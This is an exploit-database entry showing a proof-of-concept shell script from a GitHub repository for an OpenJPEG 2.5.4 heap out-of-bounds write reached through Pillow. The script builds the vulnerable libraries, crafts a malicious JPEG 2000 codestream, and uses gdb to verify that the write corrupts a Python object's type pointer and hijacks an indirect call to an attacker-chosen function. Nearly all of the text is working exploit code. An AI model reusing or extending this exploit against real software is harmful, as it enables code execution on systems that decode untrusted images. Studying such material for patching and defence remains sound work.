Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files22

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/openjpeg2shell/chosen-call.sh

Shell · 5,015 bytes
#!/usr/bin/env bash
# Demonstrate a natural finalization call through an attacker-chosen ob_type.
# Local process only; gdb observes, never writes memory. The debug (-g -O0) lib
# is used for the line breakpoint, so its heap layout is not the shipped
# Release layout. Layout is argv-length-sensitive; the calibration sweep pads
# the codestream filename until the target gap object appears, without changing
# codestream bytes or any write value.
#
# Usage: bash chosen-call.sh OUTDIR
set -u

HERE=$(cd "$(dirname "$0")" && pwd)
OUT=$(mkdir -p "$1" && cd "$1" && pwd)

VLSRC="$OUT/src/openjpeg-2.5.4"
mkdir -p "$OUT/src"
tar -xzf "$HERE/src/openjpeg-2.5.4.tar.gz" -C "$OUT/src"
cmake -S "$VLSRC" -B "$OUT/dbg-build" -DBUILD_SHARED_LIBS=ON -DBUILD_CODEC=OFF \
  -DBUILD_TESTING=OFF -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fno-omit-frame-pointer" \
  -DCMAKE_INSTALL_PREFIX="$OUT/dbg-install" > "$OUT/cmake.log" 2>&1
cmake --build "$OUT/dbg-build" -j4 > "$OUT/build.log" 2>&1
cmake --install "$OUT/dbg-build" > "$OUT/install.log" 2>&1
[ -f "$OUT/dbg-install/lib/libopenjp2.so.7" ] || { echo "FAIL debug lib build"; exit 1; }

PILROOT="$OUT/pc/pw-vuln"
if [ ! -d "$PILROOT/PIL" ]; then
  bash "$HERE/pillow-consumer.sh" "$OUT/pc" > /dev/null 2>&1
  [ -d "$PILROOT/PIL" ] || { echo "FAIL pillow build"; exit 1; }
fi

n=0
pass() { n=$((n+1)); echo "PASS $n $1"; }
fail() { echo "FAIL $1"; exit 1; }
# Codestream bytes and write values are fixed; only the filename length varies.
python3 "$HERE/make-chosen-call.py" "$HERE/src/poc.j2k" "$OUT/base.j2k" 158 20 4272 \
  > "$OUT/gen.log" 2>&1 || fail "generate codestream"
J2K=""
for L in 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24; do
  NAME=$(python3 -c "print('c'*($L-5)+'.j2k')")
  cp "$OUT/base.j2k" "$OUT/$NAME"
  LD_LIBRARY_PATH="$OUT/dbg-install/lib" PILROOT="$PILROOT" \
    gdb -q -batch -x "$HERE/gap-scan.gdb" --args \
    python3 "$HERE/pillow-probe.py" "$OUT/$NAME" > "$OUT/scan.log" 2>&1
  if grep -q '^OBJ off=3696 mod24=0 refcnt=1 ' "$OUT/scan.log"; then
    J2K="$OUT/$NAME"
    break
  fi
  rm -f "$OUT/$NAME"
done
[ -n "$J2K" ] || fail "no argv layout with a gap object at base+24*154"
echo "CALIBRATED codestream=$(basename "$J2K")"

: > "$OUT/trace.txt"
LD_LIBRARY_PATH="$OUT/dbg-install/lib" PILROOT="$PILROOT" \
  gdb -q -batch -x "$HERE/chosen-call.gdb" --args \
  python3 "$HERE/pillow-probe.py" "$J2K" > "$OUT/gdb.log" 2>&1
grep -E '^(PRE|WRITE|POST|DEALLOC|CHOSEN_CALL|TYPES) ' "$OUT/gdb.log" > "$OUT/trace.txt"

PRE=$(sed -n 's/^PRE OBJ=\(0x[0-9a-f]*\) REF=\([0-9]*\) .*/\1 \2/p' "$OUT/trace.txt")
set -- $PRE
OBJ=$1; REF=$2
[ -n "$OBJ" ] && [ "$REF" -gt 0 ] && [ "$REF" -lt 16 ] || fail "no small-refcnt live object at base+24*154"
pass "live object $OBJ with refcnt=$REF at the OOB destination"

DICT=$(sed -n 's/.* Dict=\(0x[0-9a-f]*\) .*/\1/p' "$OUT/trace.txt" | tr -d '\n')
DICT_HEX=${DICT#0x}
CODE=$(sed -n 's/.* Code=\(0x[0-9a-f]*\) .*/\1/p' "$OUT/trace.txt" | tr -d '\n')
CODE_HEX=${CODE#0x}
grep -q "TYPE=0000000000${CODE_HEX}" "$OUT/trace.txt" || fail "pre-write type is not &PyCode_Type"
pass "pre-write ob_type is &PyCode_Type"

W1=$(sed -n 's/^WRITE W1=\([0-9a-f]*\) .*/\1/p' "$OUT/trace.txt")
[ $((16#$W1)) -eq $((16#$DICT_HEX)) ] || fail "write value $W1 != &PyDict_Type $DICT_HEX"
pass "OOB store writes &PyDict_Type at ob_type"

grep -q "POST REF=${REF} TYPE=0000000000${DICT_HEX}" "$OUT/trace.txt" || fail "post-store header mismatch"
pass "ob_refcnt preserved and chosen ob_type persists after the store"

grep -q "DEALLOC .* rdi=${OBJ} TYPE=0000000000${DICT_HEX}" "$OUT/trace.txt" || fail "no natural _Py_Dealloc for the corrupted object"
pass "corrupted object reaches natural _Py_Dealloc"

DEALLOC=$(sed -n 's/.* DictDealloc=\(0x[0-9a-f]*\) .*/\1/p' "$OUT/trace.txt" | tr -d '\n')
grep -q "CHOSEN_CALL pc=${DEALLOC}" "$OUT/trace.txt" || fail "indirect call did not land on chosen type deallocator"
pass "indirect call lands on &PyDict_Type.tp_dealloc ${DEALLOC}"

LD_LIBRARY_PATH="$OUT/dbg-install/lib" PILROOT="$PILROOT" \
  python3 "$HERE/pillow-probe.py" "$J2K" > "$OUT/plain.log" 2>&1 || true
# The plain run is layout-dependent (report :406-410, :501-502): it either
# decodes to LOAD_OK or aborts in the allocator at finalization after OPENED.
# Both follow from the same OOB stores; neither is a graded control point, so
# accept either and record which fired. Anything else is still a failure.
PLAIN_ABORT_RE='corrupted size vs\. prev_size|munmap_chunk\(\): invalid pointer|free\(\): invalid pointer|malloc\(\): invalid pointer|double free or corruption'
if grep -q LOAD_OK "$OUT/plain.log"; then
  PLAIN=LOAD_OK
elif grep -q '^OPENED ' "$OUT/plain.log" && grep -qE "$PLAIN_ABORT_RE" "$OUT/plain.log"; then
  PLAIN=$(grep -oE "$PLAIN_ABORT_RE" "$OUT/plain.log" | sed -n '1p')
else
  fail "plain consumer neither decoded nor hit an acknowledged allocator abort"
fi
echo "PLAIN_OUTCOME $PLAIN"
pass "plain consumer outcome recorded: $PLAIN"

echo "RESULT $n PASS / 0 FAIL"
sha256sum "$OUT/trace.txt"